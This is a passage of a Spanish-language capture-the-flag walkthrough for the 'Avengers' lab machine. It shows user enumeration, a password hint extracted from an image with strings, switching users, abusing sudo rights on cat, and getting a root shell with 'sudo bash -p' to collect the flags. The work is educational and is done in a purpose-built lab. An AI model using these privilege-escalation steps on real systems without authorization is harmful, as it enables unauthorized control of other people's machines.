thanos@TheHackersLabs-Avengers:/home/stif$ whoami
thanos
Enumeración de Archivos del Usuario thanos
Primero, veamos qué privilegios tiene:
thanos@TheHackersLabs-Avengers:/home/stif$ sudo -l
[sudo] password for thanos:
Sorry, user thanos may not run sudo on TheHackersLabs-Avengers.
No tiene ninguno.
Pero si revisamos a qué grupos pertenece, encontramos el grupo LXD:
hanos@TheHackersLabs-Avengers:/home/stif$ id
uid=1000(thanos) gid=1000(thanos) groups=1000(thanos),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
Podríamos aprovecharnos de esto, pero no parece ser el objetivo de la máquina.
Revisemos los archivos de este usuario:
thanos@TheHackersLabs-Avengers:/home/.thanos$ tree -a
.
├── antman
│ └── antman.jpg
├── .bash_logout
├── .bashrc
├── .cache
│ └── motd.legal-displayed
├── FLAG.txt
├── .profile
├── root
│ └── passwd_root.txt
├── .ssh
│ └── authorized_keys
└── .sudo_as_admin_successful
Vamos a leer esa flag:
thanos@TheHackersLabs-Avengers:/home/.thanos$ cat FLAG.txt
### ### ##
## ## ## ####
# ## #### ### ## ####
#### ## ## ## ## ##
## ## ##### ## ## ##
## ## ## ## #####
#### #### ##### ## ##
#####
Alright, you have the 8/9 flag.
This flag is worth 20 points.
You are now 1 step away from getting all the flags, cheer up ;D
Bien, tenemos 7 flags.
Parece que tenemos la contraseña del Root:
thanos@TheHackersLabs-Avengers:/home/.thanos$ cat root/passwd_root.txt
##
##
###### #### #### #####
## ## ## ## ## ## ##
## ## ## ## ## ##
## ## ## ## ## ## ##
#### #### #### ###
Since you've reached this point, I'm going to give you the root password even if you don't really need it hehe
user: root
passwd: rooteable
Obviamente, no sirve esta contraseña.
Existe una imagen que le pertenece al Root, pero que podemos analizar su contenido con el comando strings, pues quizá exista un mensaje oculto en dicha imagen:
thanos@TheHackersLabs-Avengers:/home/.thanos$ strings antman/antman.jpg | head -n 5
JFIF
Exif
Have you tried entering the password with the same name as the Antman user?
'&&(,-'
&(&&
Tenemos la contraseña para el usuario antman.
Probémosla:
thanos@TheHackersLabs-Avengers:/home/.thanos$ su antman
Password:
antman@TheHackersLabs-Avengers:/home/.thanos$ whoami
antman
Enumeración de Archivos del Usuario antman
Veamos qué privilegios tiene el usuario antman:
antman@TheHackersLabs-Avengers:~$ sudo -l
Matching Defaults entries for antman on TheHackersLabs-Avengers:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User antman may run the following commands on TheHackersLabs-Avengers:
(ALL : ALL) NOPASSWD: /usr/bin/cat
Podemos usar el binario cat como Root.
Investiguemos qué archivos existen por aquí:
antman@TheHackersLabs-Avengers:~$ tree -a
.
├── .bash_history -> /dev/null
├── .bash_logout
├── .bashrc
├── flag
│ ├── FLAG.txt
│ └── README.txt
├── .profile
└── root
└── root.txt
Solamente hay 3.
Para poder ver la flag, necesitamos usar cat como Root:
antman@TheHackersLabs-Avengers:~$ sudo cat flag/FLAG.txt
### ### ##
## ## ## ####
# ## #### ### ## ####
#### ## ## ## ## ##
## ## ##### ## ## ##
## ## ## ## #####
#### #### ##### ## ##
#####
Alright, you have the 7/9 flag.
This flag is worth 20 points.
perfect, from what I see you managed to escalate privileges to be able to see this flag...
Ya tenemos 8 flags.
Leamos ese archivo README.txt:
antman@TheHackersLabs-Avengers:~$ cat flag/README.txt
## ## ###
##
###### ###### ### ## ## ### ## #### ### ## #### #####
## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ###### ## ## ###### #####
##### ## ## #### ## ## ## ##### ## ##
## #### #### ## #### #### ##### ## ##### ######
#### #####
If it does not let you read the FLAG.txt file, it will be because you are not root or you do not have the appropriate permissions, try to continue escalating privileges...
Tenemos los privilegios suficientes.
Por último, veamos ese archivo root.txt:
antman@TheHackersLabs-Avengers:~$ cat root/root.txt
##
##
###### #### #### #####
## ## ## ## ## ## ##
## ## ## ## ## ##
## ## ## ## ## ## ##
#### #### #### ###
From what you can see the root has a custom password
I'm going to tell you but don't tell anyone else huh...
User: root
Password: root
Podríamos intentar buscar una contraseña para el Root, pero después de probar varias combinaciones, no pude encontrar la correcta.
Entonces, vamos a regresar al usuario stif y escalemos privilegios para terminar la máquina.
Obteniendo las Flags de la Máquina y la Última Flag del Reto
Tan solo hay que dar exit hasta llegar a ser el usuario stif; luego, ejecuta el siguiente comando:
stif@TheHackersLabs-Avengers:~$ sudo bash -p
root@TheHackersLabs-Avengers:/home/stif# whoami
root
Vayamos al directorio del Root y ahí encontraremos la última flag del reto:
root@TheHackersLabs-Avengers:/home/stif# cd /root
root@TheHackersLabs-Avengers:~# tree -a
.
├── .bash_history -> /dev/null
├── .bashrc
├── FLAG.txt
├── .lesshst
├── .local
│ └── share
│ └── nano
├── .mysql_history
├── .profile
├── root.txt
├── snap
│ └── lxd
│ ├── 29351
│ ├── 31333
│ ├── common
│ └── current -> 31333
├── .ssh
│ └── authorized_keys
└── .sudo_as_admin_successful
Leámosla:
root@TheHackersLabs-Avengers:~# cat FLAG.txt
### ### ##
## ## ## ####
# ## #### ### ## ####
#### ## ## ## ## ##
## ## ##### ## ## ##
## ## ## ## #####
#### #### ##### ## ##
#####
Alright, you have the 9/9 flag.
This flag is worth 30 points.
VERY GOOD, you did it, you are the best, now I leave you a code below that will help you know that you have completed this machine...
Code: INHUIS....
Excelente, completamos el desafío.
Ya solamente obtengamos las flags de esta máquina:
root@TheHackersLabs-Avengers:~# cat /home/stif/user.txt
...
root@TheHackersLabs-Avengers:~# cat root.txt
...
Y con esto, completamos la máquina.
Links de Investigación
- https://esolangs.org/wiki/Pikalang
- https://www.dcode.fr/pikalang-language
- https://gchq.github.io/CyberChef/